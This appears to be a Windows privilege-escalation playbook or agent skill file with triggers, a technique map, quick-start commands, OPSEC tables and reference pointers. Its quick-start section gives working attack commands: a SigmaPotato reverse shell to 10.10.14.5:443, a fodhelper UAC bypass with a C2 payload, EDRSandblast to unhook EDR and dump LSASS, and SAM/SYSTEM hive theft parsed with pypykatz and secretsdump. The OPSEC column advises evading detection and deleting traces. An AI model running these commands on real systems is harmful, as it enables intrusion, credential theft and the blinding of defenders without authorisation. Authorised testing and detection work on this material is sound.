Privesc windows

Windows Privilege Escalation

When to Activate

• Gained an initial shell / foothold on Windows and need to reach Administrator or NT AUTHORITY\SYSTEM
• Shell runs as a service account (IIS APPPOOL, MSSQL, Local/Network Service) holding SeImpersonatePrivilege
• Standard-user → admin via UAC bypass (medium → high integrity) on a local-admin-group member
• Service / DLL / scheduled-task misconfiguration hunting on the host
• Kernel EoP via an unpatched local CVE or Bring-Your-Own-Vulnerable-Driver (admin → kernel/PPL)
• Privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug)
• Local credential harvesting (LSASS, SAM/SYSTEM, DPAPI) to fuel lateral movement

Technique Map

Technique	ATT&CK	CWE	Reference	Script
Automated enumeration (winPEAS/Seatbelt/PrivescCheck)	T1082, T1518	CWE-1188	references/enumeration-triage.md	scripts/win_privesc_triage.ps1
Token-privilege triage + FullPowers recovery	T1134.001	CWE-269	references/enumeration-triage.md	scripts/win_privesc_triage.ps1
SeImpersonate Potato (GodPotato/SigmaPotato/PrintNotify)	T1134.001, T1134.002	CWE-269	references/token-impersonation-potatoes.md	scripts/check_potato.py
Named-pipe / token impersonation primitives	T1134.001	CWE-269	references/token-impersonation-potatoes.md	scripts/check_potato.py
Unquoted service path	T1574.009	CWE-428	references/service-dll-hijacking.md	scripts/service_hijack_audit.ps1
Weak service ACL / SERVICE_CHANGE_CONFIG	T1543.003	CWE-732	references/service-dll-hijacking.md	scripts/service_hijack_audit.ps1
DLL / phantom DLL hijack (CVE-2025-1729, CVE-2024-28827)	T1574.001, T1574.010	CWE-427	references/service-dll-hijacking.md	scripts/service_hijack_audit.ps1
UAC bypass — fodhelper/computerdefaults/eventvwr	T1548.002	CWE-269	references/uac-bypass.md	scripts/uac_bypass.ps1
UAC bypass — ICMLuaUtil / IEditionUpgradeManager COM	T1548.002	CWE-269	references/uac-bypass.md	scripts/uac_bypass.ps1
AlwaysInstallElevated MSI	T1548.002	CWE-250	references/uac-bypass.md	scripts/uac_bypass.ps1
Kernel EoP CVE (CLFS CVE-2025-29824/32701; CVE-2025-62215)	T1068	CWE-416, CWE-362	references/kernel-byovd.md	scripts/byovd_loader.c
BYOVD admin→kernel / EDR-blind (CVE-2025-7771, EDRSandblast)	T1068, T1562.001	CWE-782	references/kernel-byovd.md	scripts/byovd_loader.c
Privileged token rights (SeBackup/SeRestore/SeLoadDriver/SeDebug)	T1134, T1068	CWE-269	references/kernel-byovd.md	scripts/byovd_loader.c
LSASS dump (comsvcs / PssCaptureSnapshot / nanodump)	T1003.001	CWE-522	references/credential-harvesting.md	-
SAM/SYSTEM + VSS offline secretsdump	T1003.002	CWE-522	references/credential-harvesting.md	-
DPAPI / credential vault / browser secrets	T1555.004, T1555.003	CWE-522	references/credential-harvesting.md	-

Quick Start

# 0. Identity + token rights — this decides the whole strategy
whoami /priv /groups
powershell -ep bypass -File scripts/win_privesc_triage.ps1 -Quick

# 1. Full automated enumeration (pick the AV-safest)
.\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report pc_%COMPUTERNAME% -Format TXT,HTML
.\Seatbelt.exe -group=all -full        # build it yourself; do not trust prebuilt binaries
.\winPEASany_ofs.bat                    # .bat variant is less AV-flagged than the .exe

# 2a. Service-account shell with SeImpersonate* -> Potato to SYSTEM
python3 scripts/check_potato.py --priv "$(whoami /priv)"   # picks the right Potato for the host
.\GodPotato-NET4.exe -cmd "cmd /c whoami"                  # Server 2012-2022, no outbound
.\SigmaPotato.exe --revshell 10.10.14.5 443                # fileless .NET-reflection variant
# stripped token (Local/Network Service)? recover privileges first:
.\FullPowers.exe -c "C:\Windows\Tasks\GodPotato-NET4.exe -cmd cmd" -z

# 2b. No SeImpersonate -> hunt service/DLL/scheduled-task misconfig
powershell -ep bypass -File scripts/service_hijack_audit.ps1   # unquoted/weak-ACL/writable-bin/PATH

# 2c. Standard user in local-admin group, UAC on -> bypass to high integrity
powershell -ep bypass -File scripts/uac_bypass.ps1 -Method fodhelper -Payload "cmd.exe /c <c2>"

# 2d. Already admin -> kernel/PPL via BYOVD; then harvest creds
#     (verify driver is NOT on Microsoft blocklist for the build first)
.\EDRSandblast.exe --kernelmode dump_lsass --usermode unhook

# 3. Credentials (run from SYSTEM/admin) — see references/credential-harvesting.md for the PssCaptureSnapshot
#    / comsvcs MiniDump / nanodump tradecraft and OPSEC (parse the dump OFF-host).
pypykatz lsa minidump lsass.dmp                           # parse an acquired dump offline, off-host
reg save HKLM\SAM sam.bak & reg save HKLM\SYSTEM sys.bak  # impacket-secretsdump -sam sam.bak -system sys.bak LOCAL

OPSEC & Detection (summary)

Technique	Telemetry / IOC	Detection (Sigma / EDR)	OPSEC note
winPEAS/Seatbelt enum	Mass reg/WMI/service queries; winPEAS.exe on disk (heavily AV-flagged)	EDR hacktool sigs on winPEAS/Seatbelt names+hashes	Build Seatbelt yourself; prefer .bat/obfuscated winPEAS or PrivescCheck.ps1 in-memory
Potato (Impersonate)	DCOM/OXID RPC, named-pipe create; SYSTEM child of IIS/MSSQL worker	Sigma win_susp_potato; 4674/4688 child SYSTEM under w3wp/sqlservr	Match the COM/RPC surface left open; PrintNotifyPotato avoids RPC redirector that Defender blocks
Service hijack	7045 service install; sc config binpath change; service binary write	Sigma win_susp_service_path/sc_config; 4697/7045 + new binary hash	Restore original binPath/binary after; stage payload outside C:\Windows
DLL/phantom hijack	Non-MS DLL loaded by SYSTEM process from writable/ProgramData/%PATH% dir	Elastic phantom_dll; Sysmon EID 7 unsigned DLL in odd path	Proxy the real DLL to keep app stable; clean the planted DLL post-exec
UAC bypass	HKCU ms-settings/mscfile shell\open\command writes; fodhelper child cmd	Elastic LUA://HdAutoAp token attr; Sigma fodhelper/eventvwr reg hijack	Use reg symlink + key rename (UACME m3.5+); delete HKCU keys immediately after trigger
Kernel EoP / BYOVD	New 3rd-party .sys load (7045/6); SYSTEM token on low-priv proc; EDR driver unload	Sigma vuln_driver_load; MS Vulnerable Driver Blocklist; ETWTi token-swap	Driver load is loud + persistent — confirm not blocklisted; unload + delete .sys; restore LSTAR/MSR
LSASS dump	Handle to lsass w/ PROCESS_VM_READ/DUP; comsvcs MiniDump cmdline; .dmp on disk	Sysmon EID 10 callstack dbghelp/dbgcore; Splunk comsvcs MiniDump; Elastic PssCaptureSnapshot	Use snapshot/handle-dup + parse off-host; avoid lsass.dmp literal name; clean the dump
SAM/VSS	reg save HKLM\SAM; vssadmin create shadow; GLOBALROOT copies	Sigma reg_save_sam; 8222 VSS; vssadmin process creation	Delete shadow + .bak hives; parse offline with secretsdump LOCAL
DPAPI/vault	Reads of \Microsoft\Protect\* masterkeys + \Credentials\* blobs	EDR access to DPAPI dirs; lsass dpapi:: calls	Decrypt off-host with masterkey/domain backup key; touch only target user's blobs

Deep Dives

• references/enumeration-triage.md — Decision tree from whoami /priv + groups + integrity; winPEAS/Seatbelt/PrivescCheck/SharpUp usage and AV trade-offs; token-privilege classification table; FullPowers stripped-token recovery; autologon / stored-cred / GPP / scheduled-task XML enumeration.
• references/token-impersonation-potatoes.md — Token model (primary vs impersonation, levels), the full 2024-2026 Potato family (GodPotato, SigmaPotato, PrintNotifyPotato, DCOMPotato, EfsPotato, RoguePotato, PrintSpoofer, JuicyPotatoNG), per-OS selection, named-pipe + DuplicateTokenEx/CreateProcessWithTokenW primitives, detection.
• references/service-dll-hijacking.md — Unquoted service path (CWE-428), weak ACL / SERVICE_CHANGE_CONFIG / writable binary, DLL search order + KnownDLLs, phantom DLL hijack with real 2025 cases (CVE-2025-1729 Lenovo TPQM, CVE-2024-28827 Checkmk), DLL-proxy stub, scheduled-task abuse.
• references/uac-bypass.md — Auto-elevated binary model; fodhelper/computerdefaults/eventvwr/sdclt registry hijacks; ICMLuaUtil & IEditionUpgradeManager COM elevation (2024-2025 status); SilentCleanup env-var hijack; AlwaysInstallElevated MSI; reg-symlink evasion; LUA://HdAutoAp detection.
• references/kernel-byovd.md — 2025 kernel EoP CVEs (CLFS CVE-2025-29824 & CVE-2025-32701 in-the-wild, Win32k CVE-2025-24983, kernel race CVE-2025-62215); BYOVD theory + DSE/blocklist gap; LOLDrivers, EDRSandblast, GodFault/PPLFault driverless; MSR/LSTAR ring-0; privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug).
• references/credential-harvesting.md — LSASS dumping (comsvcs LOLBin, PssCaptureSnapshot, handle-dup, nanodump, direct-syscall), PPL/RunAsPPL bypass, SAM/SYSTEM + VSS shadow copy, offline secretsdump/pypykatz, DPAPI masterkeys + domain backup key, browser/credential-vault secrets, detection per method.